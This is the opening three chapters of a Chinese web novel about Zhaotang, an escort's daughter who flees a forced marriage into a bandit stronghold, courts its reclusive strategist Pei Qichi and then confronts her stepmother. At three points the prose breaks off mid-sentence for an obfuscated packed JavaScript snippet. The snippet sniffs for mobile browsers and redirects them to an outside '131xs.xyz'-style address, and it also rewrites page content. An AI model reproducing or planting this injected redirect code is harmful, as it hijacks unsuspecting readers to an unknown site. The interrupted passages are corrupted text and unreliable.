《胭脂铺俏掌柜发家日志》 1. 貌美郎君 暮色如墨,泼洒在静谧的山林之间。 松涛裹着山风掠过薄薄一层雾障,模糊了远方晃动的火把。 一袭红嫁衣的昭棠,同几名年龄相差无几的女子,挤缩在吱呀作响的木轿子内,前面几个黑衫汉子引路。 倒不是被土匪绑架,这狭小的木轿子对她而言,一巴掌就能拍碎。 “我......我们真的要被卖到山里了!”坐在昭棠身旁圆脸女子露出惊恐,指尖全是冷汗。 梳着十字髻的女子拿着帕子拭面:“这可怎么办,我爹娘会担心我的。” 最右边的女子抽了抽鼻子:“我爹说那些山匪都是吃人不吐骨头的——” 昭棠抬眸,面前三张梨花带雨的脸,容貌秀丽,身穿花布襦裙。 昭棠却是异常淡定,兀自摘下发间繁重的簪子,扔出轿外,只施施然挽了个淡雅的发髻,腰间束着皂白带子,裙摆绣满石榴花。 昭棠的红嫁衣在一众女子之间格格不入,那圆脸女子投来好奇的目光:“姑娘,你也是被拐上山?” 昭棠不紧不慢地答:“逃婚。” 女子噎住,半晌:“不知是怎样的人家?” “瘸腿商户。” “是城南郭商人?” 昭棠点头。 郭商人年过半百,是云州城内外远近皆知的人物,家中已有十多房姬妾,还要派人委托喜娘在城中收集貌美女子,昭棠进门也不过是做妾罢了,其他女子默不作声,哭泣的声也止了,似是同情。 一个时辰前。 喜联被贴在木门上,礼堂被布置的堂皇有致,礼炮开响。 红色的绫罗罩在花轿四周,轿帏上呈鸳鸯戏水刺绣图案,顶部悬挂着五彩流苏,在花轿行进过程中缓缓轻摇。 石榴红裙的裙摆从花轿门框擦过,被风刮得翻飞浮动,红衣女子轻功跃出花轿,足尖轻点踏上围墙,繁复的红色嫁衣消失在夜空中。 轿夫们呆愣在原地,人群中尖叫此起彼伏,送嫁队伍乱作沸鼎。 红绸灯罩被打翻在地,微弱的火苗摇曳着窜向人们的腿间,花轿歪在路旁,远处不明所以的乐师还在吹着音质嘶哑的唢呐。 喜娘王氏担忧的原地徘徊,不住的拍打手掌,想要派人去抓昭棠,在场又无一人有她那般功夫,这幢婚事怕是又要黄了。 昭棠运转轻功,随意停到黑木崖下,崖下传来呼啸的风声,冷峻的沟壑色调暗灰,离了嫡母和喜娘的一派絮叨,停了送亲队伍的唢呐声,此处一派安静,因为无人影来去,黑木崖显得越发阴森。 昭棠踩着湿漉漉的枯叶,绣着石榴的红盖头被山风掀起一角,她伸手揭开盖头,孤零零的站在幽秘的山林中。 良久,远处传来的马蹄声,三匹黑马从灌木丛中窜出身影,一匹马后拉着一顶木轿。 夜色渲染中,女子杏眼尾梢微挑,瞳仁浸了蜜,一眼望尽眼底便觉蛊惑人心,发钗勾勒出精致的妆发,鬓角碎发被山风吹得凌乱,反倒衬得整张脸愈发鲜活。 为首蒙着黑巾的壮硕汉子,看见昭棠一介弱女子,即刻勒住缰绳,操着浑厚的嗓音:“弟兄们看,那有个女的!” 后面几个汉子凑到前头。 “带到轿子上!”蒙面汉子发话。 远处火光还在晃动,不知嫡母派来的人何时便会追上,昭棠咬牙提起裙摆上了轿子。 这才见到这几个“同是天涯沦落人”的女子,这些女子都是山匪们在民间游荡之时,绑来讨寨主欢心的。 匪寨隐在黑木崖的半山腰,寨门是两扇钉着青铜泡钉的榆木门,门板上还残留着箭矢凿痕,门楣悬着块歪歪扭扭的木牌,写着"黑风寨"三个大字。 昭棠是镖师之女,镖师负责运送价值不菲的货物,自是要躲开黑风寨的人,是以昭棠早有耳闻黑风寨的名堂,竟让她误打误撞进来了,昭棠打量木牌片刻,这寨子倒不像外面传言的那样,富裕有余。 原本这些山匪在市井之间,烧杀抢夺无恶不作。自打来了新的军师,不知怎么劝动当家的,与百姓之间的争执连年减少,久而久之,只存留一些小的匪患。 昭棠她们一到黑风寨就被领进一间偏房,三名女子哭哭啼啼换上嫁衣,起先还有人不愿意换,山匪的恐吓吓得她们立刻换上,又不情不愿梳了妆。 为几人整理衣裳的是个妇人,头巾边缘钻出几缕不易察觉的灰白发丝,别着半截簪子,胸前围着褪色的围裙,平日里在寨子里忙着炊事。 梁大嫂见到几个姑娘,责备道:“几人心里没一个有数的,当家的又没说让你们下山劫女子,不是说好不动良家妇女吗?让军师知道,又该说当家的御下不严了。” 她看到昭棠的嫁衣,摇摇头,叹息道:“连成亲的新嫁娘也劫!” 梁安是梁大嫂的小叔子,这会儿在门边站着,努努嘴,把自己摘出去:“是她自己闯上来的,本来我们只劫了仨。” 梁大嫂全然不信:“山上严寒,山匪凶煞,哪有人愿意到这山头来的?” 梁安抬眼:“嫂嫂,不对吧,我哪里凶煞了?” 没理梁安,梁大嫂脸颊上映出笑纹,宽慰这群女子道:“你们别担心,当家的人不坏,他要知你们对他无意,便会放你们下山去。” 听见这话,三个女子身子渐渐止住抖动,也不知听没听进去。 昭棠被重新盖上盖头,老妇将房间内唯一的蜡烛吹熄,她的视野被盖头阻隔住。 “当家的,您请过目。”一人说完便退了出去。 昭棠和另外三名女子被带进房间,房间内只有一点烛火,看不清屋内的布置,昭棠凭感觉得出屋内有两人。 男子俯身将至,带有一丝若有若无的气息,如同裹着雪水被浸过的松针,味道清淡雅致。 他用喜秤依次挑起盖头。 昭棠黑暗狭窄的视野乍然遇见光亮。 那双潭水般的眸子与昭棠视线倏然相对,剑眉星目,鼻尖高挺,玉簪挽起的长发如墨瀑倾泻,素白色长袍勾勒出劲瘦腰身。 昭棠思绪一顿,她从未见过如此相貌的男子,凶名赫赫的黑风寨山匪头子,竟生得这般好皮囊。 他移开眸子,继续挑其他女子的盖头。 其他女子看见他,顷刻间倒吸了一口冷气,似也在犹豫是去是留。 屋内坐着两名男子,那掀了她盖头的男子坐在上首,短烛燃尽后,又增加了几枚蜡烛,更亮的光线衬的那人相貌更加优越。 另一名男子脸颊上斜着一道陈年老旧的刀疤,衣料与兽皮缝合在一起,露出健壮的胸膛,年龄约莫三十多岁,若是没有这道刀疤,倒也算得上英俊。 坐在侧面的男子点点头,吩咐道:“把她们带下去。” 昭棠和另外几名女子被安置在一个更大的房间。 不知山匪验过了还要做什么,未知的恐惧让其中一名女子身子抖得如同筛子:“怎么办,我们一起逃跑吧?” “要怎么跑?山匪就在门口看着我们。” “当家的真的会放了我们吗?” 一个女子斥责道:“土匪一窝说的话你也信?” 昭棠问:“你们是怎么到这来的?” “我去药材铺买药,还没走到,就被迷药捂住了嘴。” “我去银饰铺买首饰,正在挑选就......” “我也是在采买的路上,不小心遇到那些山匪......” 昭棠:“看来这黑风寨确实需要整治一番了。” 昭棠松开被绳子禁锢的双手,几名女子顿时停住话语。 在众女子惊奇的注视下,昭棠一一松开了绑住她们双手的麻绳,而后走到门外,轻易把守门的山匪放倒,用指尖藏好的迷药迷晕了山匪。 这迷药本是她打算用在洞房之夜的。 昭棠对几名女子平淡说道:“你们尽快下山吧。” “那你呢?”圆脸女子迟疑了一瞬,露出一丝担忧。 “她会武,还用得着你担心吗?”圆脸女子被另一名女子急忙拉住,跑出房间。 昭棠自有打算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464278|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里的喜婆踏破了门槛,那当家的相貌英俊,若是把人带回去,便能堵住嫡母的口,弃了为她婚配的心思。那副容貌若是摆在家里放着,也算养眼。 昭棠往外走去,门口的守卫拦住昭棠:“当家的现在还没让你们进来。” 昭棠定定地说道:“我路昭棠做事全凭自己心意。” 门口的汉子哪能受得了一个小女子这样说话,脸色不太好看。 昭棠一个回身把他的手臂拧向身后,手刀攻向肋骨,片刻之间他就松下招式。 昭棠话音一转:“不知你家当家的有几房姬妾?” 守门的汉子名唤赵猛,是把他带上山寨的黑衣汉子之一,愣了两秒,只当昭棠对当家的有意思,被卸了胳膊也不脑,肯定并带着殷切道:“一个也没有!” 他接着愁苦道:“我家当家的在民间也找了不少女子,但都没有愿意跟他长久过日子的,总是呆不了几个月就跑到山下去。” 弄半天这当家的还是个痴情种。 “你家当家的模样不差,怎么没人愿意跟他过?” “姑娘此话差矣。那女人心,海底针呢,当家的如何能知道?” 赵猛表面如是说,心里却想当家的外表堂堂,内心扭曲畸形,也未可知。 这姑娘样貌明艳,说话敞亮,倒是适合做寨主夫人,赵猛望着昭棠背影,没成想真有人能对当家的一见钟情。 漂亮的女子他见过不少,主动又漂亮的这倒是第一个,嗯,也是当家的福气。 昭棠被放进去,烛火摇曳间,昭棠目光一转,盯住那人纤长白皙的手指,裴栖迟左手边捧着本书,书封被手指挡住,下颌线条如刀刻,睫毛在眼下投出蝶翼般的阴影。 黑风寨看似草莽,实则有位神秘军师坐镇,昭棠判断此刻眼前翻书的男人,并非是黑风寨的当家,倒像是那军师本尊。 父亲曾说:“爱读书的男人必不会太差。”看来不是光有面皮没有点墨的草包,这样的人才配做她路昭棠的夫君,既然来了,倒要看看这军师有几分本事。 多年习武,昭棠走路毫无声音,泛着银光的匕首瞬间抵上他的脖颈,匕首下方是一处陈年累月的旧疤。 女子话音凌厉,冷然吐出两个字:“嫁我。” 裴栖迟颈间坠起凉意,他垂眸望去拿匕首指着他要害的女子,神色波澜不惊。 昭棠杏眼映在烛光间,亮得惊人,嫁衣裹着纤细腰肢,走动时裙摆的石榴花刺绣随着步伐轻摇,鼻梁小巧挺直,嘴唇不点而朱。 裴栖迟手低头翻书页,睫毛微动,不咸不淡地道。 “姑娘,好身手。” 声音竟然如昭棠意料中一般好听。 昭棠自诩容貌不差,他却连看也不看一眼。 昭棠暗自用力,将刀锋贴着肌理下压半寸,裴栖迟却忽然抬手,骨节分明的手指竟握住了刃口,鲜血蜿蜒滴落,与昭棠的裙摆融成一体。 昭棠拿匕首的手微颤,手中力道松懈,匕首瞬间从裴栖迟的颈间挪开几分。 他用染血的手慢条斯理推开她手腕,骨节相触的刹那,心口就像被绒毛触碰的痒。 “姑娘若是......”他顿住,没来由打趣道,“劫色请掀左边帘,劫财直走库房第三架。” 昭棠掌风施展,一阵空气扫过,帘子被揭过,后面赫然是一只毛色鲜艳的大公鸡,看见生人便扑棱展翅,激动鸣叫起来,昂首挺胸的模样似在对昭棠挑衅。 昭棠:“你!” “真是好趣味,与鸡共处一室。” 昭棠后槽牙咬起,言语间也没忘记反击,回眸看向男子的掌心,鲜血淋漓,还有心思与她谈笑。 他神色忽然认真,眼中浸着昭棠看不懂的情绪:“姑娘如何确定,你求娶,我便会答应?” 昭棠一时竟退缩半分,失了言语。 他慢悠悠:“姑娘这般身手嫁给山匪,做个压寨夫人岂不可惜?这寨子不该是姑娘的容身之处,请姑娘尽快下山吧。” 赶人的架势十足。 2. 姑娘芳名? 寨子里除了这些山匪便只梁大嫂一个女人,昭棠夜里便和梁大嫂卷着草席凑合睡在一起。 篝火的亮光映进木头窗户内,听见外面山匪插科打诨的声响,混着柴火噼啪声直往耳朵里钻,昭棠索性掀开棉被,起身加入他们。 开了口的酒罐倒在地上,赵猛正和人聊得眉开眼笑,看见昭棠吓了一跳,手里的烧鸡差点掉进火堆,他抹了把油乎乎的嘴。 “姑、姑娘怎还在此?” 看来是知道她求娶失败了,且还赖着不愿走。 昭棠坐在篝火前,伸手抢过赵猛怀里还未开动的烧鸡,烧鸡上的汁水在火光中莹莹发亮。 赵猛操着一口方言好心劝道:“姑娘,你死了这条心吧,军师是不可能娶你的。 昭棠眉间一拧:“你又不是他,你怎知他心中所想?” 赵猛张张嘴,把话咽进了肚子,作势要走,忍不住又道:“姑娘怎生如此想不开,能来到这黑风寨的,要不是饿的吃不上饭的,要不就是在民间惹上仇家的,当家没与你计较私自放那些女子下山,当家的要放了你,你便下山吧。” 昭棠嗤道:“我自小习武,用他放?” 赵猛见识过昭棠身手,心中颇有威慑:“是是是,小小黑风寨,您当真来去自如。” 昭棠狐疑道:“你莫是有什么难言之隐?直说便是。” 赵猛和昭棠也算不打不相识,脚步一顿,停住:“不瞒你说,五年前,我们随当家的外出打猎,崖下水流湍急,没打眼便看到冲了个人上来,把我们吓坏了。我们虽是山匪,哪敢真做起杀人的勾当。” 他咽了咽吐沫,回想起当时的场景,溪水向来流的急,若是冲过什么,定是还未等抓住便又要飘走,只是那日,直直冲上来个人。 当家的带着兄弟们瞧过去,男子半边身子落在草垛里,半边身子沉在寒水里。面色苍白,乌发湿成段覆在脸上,眼睫上凝着冰珠,月牙白锦缎袍被冲出多条口子,腰间玉带扣少了半边,身上悬挂的玉佩早就不知去向,只余残缺的暗金丝绦,如若是忽略那脖颈处结了血痂的疤,倒真像是幅冷水浸成的画。 当家的一试呼吸,还有气,就把人带回了黑风寨,此人倒是有些本事,几年来帮当家的管理寨子也算井井有条,只是与人相处总藏有几分疏离,寨中兄弟也能理解,许是经历了什么变故,不轻易信得旁人。 “军师对女子无意,姑娘何需只看一棵树?” 昭棠并不关心裴栖迟的过往,只一心想摆脱嫡母给她定的婚约,她道:“你爹若是把你许给瘸腿老丈,你如何想?” 赵猛听见瘸腿老丈四个字,不由身上一颤,看向昭棠的眼神露出复杂。 昭棠浑然不觉,只道:“若是轻易应了,倒也无趣,有点脾气,我喜欢。” 赵猛道:“不如考虑考虑我们当家的,别看我们当家的模样凶了点,但人是真好,对待娘子没得说! 昭棠站起身,话锋一转:“我看你们为人还算仗义,怎干出强抢民女的勾当?你这当家的可是好人?” 赵猛支吾起来,面庞涨得通红:“当家的年轻气盛,自是还未放弃搜罗......” "压寨夫人?"昭棠抢答,“你们当家的应当知晓,喜欢女子便要自己争取,何况强扭的瓜不甜。” 赵猛:“那姑娘你为何要扭?” 昭棠:“......” 赵猛一副跟她说不通的样子,摇摇头:“这黑风寨不比寻常人家里,条件简陋,姑娘还是趁早回去吧。” “你说的话跟你们那军师如出一辙。” 翌日寅时未到,换了个陌生地方,昭棠一夜并未睡好,到炊房里寻了个隔夜的馒头,蹲在寨外就着晨风啃了起来。 昭棠自小习武,耳目极好,寨里山匪鼾声此起彼伏,倒衬得身后那串脚步声格外清晰。 就见裴栖迟换了身粗布衣裳,背着竹篓准备上山,见到昭棠,悠悠别过眼去。 见人走出了寨子,昭棠拍了怕手里的馒头渣,提着裙摆跟了上去。 粗布手套虚虚遮住昨日裴栖迟握住刀刃流血的被简陋包扎的伤口,他往布袋里垫了片干竹叶,将采摘下来的松针细致地裹在布袋里。 昭棠鲜少饮茶,裴栖迟这般动作,在旁人看来透着股说不出的讲究,昭棠终于得知他身上的松针香气是从何而来了。 "这茶需得用卯时前的露水煎熬。"他未回头,声音清冷如石上泉,"姑娘跟了半炷香,不如来搭把手。" 昭棠诧异片刻,昨日还拒人千里之外的样子,昭棠老实的过去,有样学样的把采下来的松针裹紧布袋。 “还是我来吧。”许是见昭棠实在手生,裴栖迟接过去,手套上混杂着泥土。 说是让昭棠干活,但昭棠就蹲在一旁看,顺便把包好的布袋放进竹篓里。 他道:“这清晨露水还未干,松针质地柔韧,口感也会更好。” 昭棠问道:“公子喜饮松针茶?” 听到公子二字,他动作顿了下,又很快恢复如常:“寨子物品稀缺,不比民间样式繁多,黑木崖上的松树倒是应有尽有,不如就地取材,味道也算可口。”说罢,眉间一抹淡笑,似是对寨子里的生活习以为常。 竹篓已装满裹好的松针布袋,也算是在卯时前完成了这桩任务,昭棠揉着发酸的膝盖起身。 裙摆上沾上细碎的泥土,拍了拍裙摆上的泥,昭棠跟着背上竹篓的裴栖迟往寨子里走去。 踩着露水,清晨的空气最为新鲜。昭棠想起什么,巴巴问:“还不知公子何名何姓?” 山风卷着枯叶掠过两人脚边,竹篓晃出细碎的响动,松针香气混着远处山涧传来的水流声,在寂静里拖得悠长。 就在昭棠以为他不会回答的时候。 “裴栖迟。”他突然开口。 “衡门之下,可以栖迟。” 那声音沾着草木的柔韧,又浸满了山野的凉。 回到寨子,昭棠帮他把松针洗净,看着他晾晒过后又放入锅中翻炒,这般操作一番,松针的香气溢出,把炊房腾给他,昭棠便退到门槛外等着。 许久,裴栖迟端出两口粗陶碗:“今晨采的茶要养些时日才能制好。”他将陶碗搁在石墩上,茶沫沾着几片未沉底的松针,“还剩下些陈茶,姑娘若不嫌弃,可与我共饮。” 昭棠接过茶碗,道:“怎会嫌弃。” 松针茶汤在夕阳里泛起淡淡的浅绿,滋味鲜醇,倒是让人清醒半分,像昭棠这般不会品茶的人,也感到一丝清冽与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464279|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回甘,昭棠眼睛发亮。 “公子这般,可算得上文人雅士,与寨中山匪略有不同。” 忽略女子试探的视线,他握茶碗的手逐渐收紧,茶碗表面的裂纹硌着掌心,清淡的眸子撞进昭棠的视线:“不过是闲来无事,打发时间所做罢了。” “公子不想说,便算了。”昭棠没有打探他人隐私的兴味。 他放软音调:“并非如此,只是裴某实是贪得这一隅安生。” 昭棠道:“匪寨可有安生?朝廷派来的剿匪恐怕不下数十次了吧。” 昭棠说的是事实,可他看起来不甚在意。裴栖迟放下手中茶碗:“昨日夜深,在下来不及问姑娘,便想问姑娘一事。” 昭棠抿了一口茶:“何事?” “不知姑娘......是看上在下何处?” 昭棠快言快语:“我若说是喜欢公子这张面皮,公子可会不快?” 昭棠放下茶水,眼睛一眨不眨的盯住茶水上层漂浮的松针,缓慢抬起头。 裴栖迟面色未有波动,看不出任何羞恼甚至是怒意,也未应答,只道:“姑娘为何来此山寨?黑风寨的名头,姑娘想来并不陌生。” “我是镖师之女。”昭棠淡淡。 “可是路镖头?”他问。 "镖师运输货物,自然要四处打点。"昭棠看向他,缓声道,"公子猜人的本事,倒是厉害。” 他微微一笑:“飞远镖局乃是云州城首屈一指的镖局,裴某自是知晓。”他停顿片刻,又道,“姑娘很有路镖头风范。” 昭棠莞尔一笑,想到什么:“公子若说昨夜我将匕首置于你颈间,此般行事确有我爹的影子。”她爹走南闯北运镖,难免碰见劫匪或偷盗之人,不狠戾些只怕货物便丢了。 昭棠留意到他那拿着茶碗的手,包扎的纱布已隐隐透出血迹,他浑然不觉似的。 未等对方回答,昭棠放下手中茶碗:“公子等我一下。” 昭棠回到炊坊找梁大嫂寻来药草,碾成汁,又备好布条,掌间传来对方温度时,裴栖迟睫毛微不可察地颤了颤。 昭棠把纱布解开,血痂夹杂着流出的血渍,与白皙细长的手指衬得鲜明,她似有歉疚,仔细将药草汁轻轻涂在伤口上,拿起布条,手指灵活穿梭在他掌心。 “寨中缺少金疮药,公子便姑且将就些吧。” 直到包扎快结束,他才淡淡:“好。” 昭棠低下头,答了裴栖迟方才的问话:“来此山寨实乃偶然,其实是在躲避一桩我不愿的亲事。” 他神色未变,两相僵持,昭棠心里那股热乎劲便刹那间淡了下来,伤口被布条彻底包裹起来,昭棠仔细打了个结。 “可否告知裴某,姑娘芳名?”他话音微涩。 “你若无意,不必问我姓名。”话已出口,自是没有反悔的余地。 茶的采摘有讲究,翻炒和杀青也有确切的温度,饶是一切繁琐步骤都做完,也要等待数日才能饮用,更不必说种类多样的茶具,乃至分茶、品茶等种种层序。 本就是见色起意,与其说是逃婚到黑风寨,不过是想通过此法子,为自己缔结一桩婚事,让嫡母放弃为她婚配的念头,她劝说他人瓜不必强扭,其实这话用在何处,都有道理。 3. 嫡母示威 昭棠回到梁大嫂住处,竹篮里放着满满一团红色花瓣,梁大嫂正在摘拣花瓣,注意到昭棠的视线,笑道:“这是安儿下山时帮我寻来的。” 梁大嫂露出一丝笑意:“姑娘,可曾听过红花可做胭脂?我便是打算用来制这个的。” 爱美之心,人皆有之,细细看来,梁氏也不过才四十出头,面颊上便隐隐现出了纹路。 昭棠摸过花瓣,这花瓣厚实,确实适合做胭脂的原材料,昭棠答道:“梁大嫂,你可是问对人了,我娘便是开胭脂铺的,我来帮你吧。” 梁大嫂客气道:“怎好劳烦姑娘?” 昭棠拿起竹篮,笑道:“我有几年不做了,可能会手生,还请梁大嫂勿介意,眼下还要叨扰几日了,成型的胭脂膏一定不会让您失望。” “怎会介意,你能帮我,却是再好不过了。”梁大嫂笑着应道。 昭棠大包大揽的把梁大嫂整理的用具拿出屋外,蹲下回想生母柳姨娘当年是如何做的。 她摊开粗抹布,竹篮里的红花被尽数倒出,挑出已经蔫软和带有虫眼的花瓣弃掉,又将浸泡好的红花倒入臼中,手法娴熟地将红花花瓣碾磨细碎。 昭棠指节上也被染上点点红色,她用一块细纱布将捣好的红花包裹起来,用力挤压,让花汁透过纱布滴落在下方的陶盆中。 花汁去除了花瓣的残渣,剩下的花瓣质地纯净,柳姨娘说过花汁散发出酸味时,颜色最为浓郁,昭棠进屋对梁氏道:“还需寻个通风的地方放上几日。” 几日过后,此时花泥已然凝固,颜色越发浓郁,只是还缺了点沁人的幽香,昭棠又拿出随身携带的香粉,装入备好的盒子,一切做完已是五日后,而这几日,裴栖迟再没露面。 粱大嫂刚好拿进屋外晾晒的衣服,看到放入盒中的胭脂膏已然成型,满意笑道:“姑娘可真是巧手,若是我做,颜色定然没有这么鲜艳,这还要多谢你了。” “你若是能喜欢,自是最好。”昭棠柔柔笑着,眼眸泛起微光。 “还得多亏姑娘的巧手。” “您不必客气,我倒是惊讶,黑风寨的人倒不如传说中那般凶神恶煞,在寨子中已然逗留几日,想来我也该下山解决一些事了。”这么逃跑避到寨子里,并无实切用处,若是爹爹回来,必会担忧她,亲事未讨成便罢,不如先回到镖局跟嫡母交代清楚,让她舍了那定亲的心思。 梁大嫂笑道:“自从五年前军师来了之后,寨子中的人也被教化的安分起来,再不去做那打杀劫舍的事了,山上日子虽清苦,但也算自给自足,日子过的也有一番滋味,其实军师人不坏,年少时曾遇变故,他只是不肯再轻信旁人,姑娘你莫放在心上。” 梁大嫂想起了过往:“说起来我的夫君......我们虽只成亲三年,我倒是不恨的......我夫君虽是山匪,但从未干过打家劫舍之事,在朝廷剿匪时为保护我去了,我这后半辈子没有一刻不在怀念他。” 昭棠未应,梁大嫂也没多想,将嫁衣递给昭棠:“嫁衣已经洗净了,姑娘拿好,”又不放心地叮嘱道,“虽不知是怎样的亲事,姑娘回到家中,还要好好与家人细说一番,常人总说父母之命不可违,但婚姻大事是一辈子的事,断不可轻易定下,若是遇见个不合心的,倒要抱恨终生了。” - 飞远镖局的镖头路海,共有三房姬妾,大夫人杜氏也就是昭棠的嫡母,出身金陵商户,年少时便跟了路海,陪了千两嫁妆嫁到云州,协助陆海开镖局。 路海从一穷二白再到小有家产,多亏了杜氏的帮衬,路海自是对杜氏唯命是从。 飞远镖局曾经在江湖中混得也算风生水起,唯这几年,在坊间遇上案子后,便一蹶不振。路海在外走镖次数不少,但带回来的钱,总是不够补上因案子造成的亏空,库房里的压箱银渐渐见了底。杜大娘子愈渐焦急,家里留着一张嘴便要吃饭。自此,杜氏便把算盘打到了身为庶女的昭棠身上。 昭棠的生母柳姨娘是路海的第三房姨娘,曾经营一家小有门面的胭脂铺,自打三年前落水,便染上了肺痨,不久便去了。 斑驳的朱漆在微光映射下格外暗红,飞远镖局的大门被昭棠信手推开,指节因用力而攥的发白。 昭棠刚进家门,喜娘王氏拧笑着一张老脸,面颊上堆满了水痕,眼睛一眨便又有泪往下流,眼泪如开了闸的水一样从眼帘落下,正哭哭啼啼对着杜大娘子赔笑,喜帕遮面擦拭,粉便落在帕上。 已经哭了这几日,还没哭够吗? 喜娘王氏怕飞远镖局家的人怪罪,更怕郭商人派人即刻来向她问罪,已经在这里连续哭了好些时日了。若不躲到这里,郭商人不知还要怎么折腾自己,骂一顿便是轻的,只怕又借势打她的儿子。 杜大娘子烦了,便嫌弃的道:“行了,别哭了,别在我这哭丧了,我又没有怪罪你的意思。” 王氏闻言憨笑,正想说些什么,一打眼见到走进门的昭棠,犹如遇见了救星,帕子按着眼角,泪水配着笑面,那姿态别提多怪异,王氏喜笑颜开地道:"棠娘子可算回来了!” 杜大娘子端坐在雕花椅上,手上的护甲敲着瓷碗,露出刺耳的声响,半点没问昭棠这几日去了哪里,只责备昭棠抛下送亲的排场,牙酸道:“哟,我当是谁呢?昭棠回来了,怎么,路家的脸丢够了,舍得回来了?” 见昭棠未语,杜大娘子望向昭棠,说教道:“棠娘子,何时你能让我省些心,郭大商人的花轿扔在门前,新嫁娘不知去向,郭家连着路家的喜帖送了数十户人家,宾客来了又扑了个空,酒席摆的满满当当,宾客哪有心思吃?每次说亲你都是这样一副抗拒的态度,你让母亲的脸往哪搁?路家的脸又往哪搁?你两个姐姐说嫁便嫁了,到了你这儿,怎如此难办?要怪就怪你爹不分主次,所有孩子都教了武艺,学的任性妄为,有什么用!” 杜氏一切所求,不过是尽快想把昭棠这个庶女扫地出门罢了,昭棠心知肚明,杜氏是想说所有孩子都可以习武,唯独昭棠不该会功夫,省的给她添堵。 杜大娘子说到气头上,把瓷碗扬起来,便要摔到地上,又皱了皱眉,似在极力忍耐,瓷碗又被放回桌面上,晃荡了一下便又立住。 昭棠对着杜氏,丝毫不惧:“母亲说要给妹妹寻个举人成亲,怎轮到昭棠这,除了村头的瘸腿商户,瞎了眼的老头,便是家有小产的病秧子?” 杜大娘子语气不容反驳:“举人,你倒是也配?你当郭大商人是一般的商贾吗?他家的家产可以买这云州城半条街,你嫁过去便是富贵半生,只需再给郭家添个丁,郭商人自会好好待你!” “郭商人在城中的名声,妇孺皆知,就连孩子刚满月的妇人,被他看上,也会抬进家门。”昭棠眉目坚定,话语暗含深意,“只怕是......深宅易入,难出。” 杜大娘子话露讥讽:“先不说别的,你算什么,敢跟昭霞相提并论?” 昭霞是杜氏的女儿,刚及笄便有了出嫁的打算,而她这个庶女却要嫁给瘸腿老丈,其中轻重一目了然。 喜娘王氏不曾想昭棠敢跟当家主母叫板,飞远镖局后院起火,她怕烧及己身,也轮不到去想后面郭大商人的责怪,只想尽快脱离干系。 王氏言辞恳切地道:“棠娘子,快对着大娘子道个歉,这事便就算做过去了,回头老奴再帮你介绍个更好的,不嫁郭大商人是吧,老奴这厢真是记下了!” 昭棠和杜氏僵持着,谁也不欲松口。 暮色漫进窗沿,路海一行人的马蹄声在院外响起,杜大娘子递给王氏个眼色,才收起刻薄相,王氏紧忙舒口气,退下了。 路海带着一身尘土气息踏入正厅,进门嗓门嘹亮,难掩喜悦:“这趟走镖,多亏了黑风寨那些山匪的照应。” 杜大娘子殷切起身给路海脱下外袍:“何时山匪还会罩着人了?” 路海:“这次押送的货物是送往汴京的字画、碑帖,没出云州遇上三日大雨,字画无一幸免,全受了潮,那可是汴京贵人要的货!我哪敢怠慢,想尽了办法都没法恢复原样。” “好在,过黑木崖时,遇到一群山匪说,他们会复原字画。” “我能如何,便只当是死马当活马医吧,反正字画已经潮了,大不了又是一笔债添在头上,谁知那山匪寻了个生着炭火的地炉,将字画一一悬挂起来,就这么烘烤,还真把字画复原了!”路海道。 “想来烘烤字画也不算难。”杜大娘子道。 路海摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464280|169790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摆手:“不然,那字画乃是南海进贡的鲛丝所做......那鲛丝珍贵难寻,若非做过此事,便极容易将其烤焦。” 下人们排起队,一一将今晚的膳肴呈上桌案。 “哦?山匪中还有这等高雅人士?老爷改日当登门送谢。”杜氏顾着递碗筷,全然没当回事。 路海感慨真是一场奇遇:“等这笔账入了库,我便送些礼给黑风寨,他们帮了忙,竟分文不取!若是字画真的受潮,此次运镖得不到银两不说,还要向外赔银两,家中仅存的银两属实没法化解这麻烦。” “那倒是成全了咱们,老爷奔波数月,先用膳吧。妾身煨了整日的天麻乳鸽汤,最是补气养血......”杜大娘子说着使眼色让下人先上准备已久的参汤。 “老爷传信回家时,说下午便能归家,我只当老爷今晚是回不来了,害的妾平白忧虑。” 路海:“诶,哪能呢!这趟倒是顺利的多!” 路远放下外袍,盛了一口汤,这才看见站在一旁的昭棠:“棠儿?女儿这是有什么事?” “女儿见过父亲。”昭棠福了福身。 "正要与老爷商量。"杜氏丹凤眼掠过昭棠,开口笑道:"昭棠过了年便十六了,想她两个姐姐,一个十四,一个十五便出嫁了,昭棠也该是时候寻门亲事了,城南郭商人愿出一百两聘礼,定是亏不了昭棠的,可昭棠这丫头,竟是不愿呢!” 